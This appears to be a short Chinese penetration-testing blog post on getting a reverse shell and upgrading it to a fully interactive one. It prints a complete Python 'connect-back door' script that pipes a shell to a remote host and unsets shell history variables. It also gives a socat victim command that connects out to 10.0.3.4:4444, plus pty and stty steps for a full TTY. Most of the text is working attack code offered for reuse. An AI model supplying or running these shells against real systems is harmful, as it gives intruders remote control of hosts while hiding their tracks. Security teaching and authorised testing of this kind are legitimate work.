/ 渗透测试

Python反弹shell与如何提升为交互式shell

渗透测试中有时遇到命令执行不是交互式shell,这个时候反弹shell脚本就派上用场了

0x01 交互式shll和非交互式的shell区别

简单说就是执行两个命令打开了几个终端,如果是只打开了一个终端就是交互式,否则就是非交互式;
代码来自落神,收着备用

0x02 Code

#!/usr/bin/python

import sys
import os
import socket
import pty

shell = "/bin/sh"

def usage(programname):
	print "python connect-back door"
	print "Usage: %s host port" % programname
	
def main():
	if len(sys.argv) !=3:
		usage(sys.argv[0])
		sys.exit(1)
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	try:
		s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
		print "[+]Connect OK."
	except:
		print "[-]Can't connect"
		sys.exit(2)
		
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	global shell
	os.unsetenv("HISTFILE")
	os.unsetenv("HISTFILESIZE")
	pty.spawn(shell)
	s.close()
	
if __name__ == "__main__":
	main()

0x03 用法

python server.py ip port

0x04 最近又学到的新技巧

python -c 'import pty; pty.spawn("/bin/bash")'

在安装python的情况下不上传文件执行上述命令获取交互式shell

0x05 用Socat

这个得安装感觉没必要

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 

0x06 升级一个非交互式shell

使用这种方式真的超级爽,可以获取一个完全的交互式shell,ctrl+c、vim等等都可以直接使用

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
//这里是在反弹回的shell里操作,先用pty提升成半交互吧,然后Ctrl+Z挂起

# In Kali
$ stty raw -echo
$ fg
//这里是反弹shell挂起后在本机shell里的操作,操作完成后用fg把挂起的shell调出到前台

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
//这里已经进入了反弹shell,但是页面看起来有点怪,执行了reset后就会恢复

参考链接:
https://wx.abbao.cn/a/13847-7cd1b6e418fa413b.html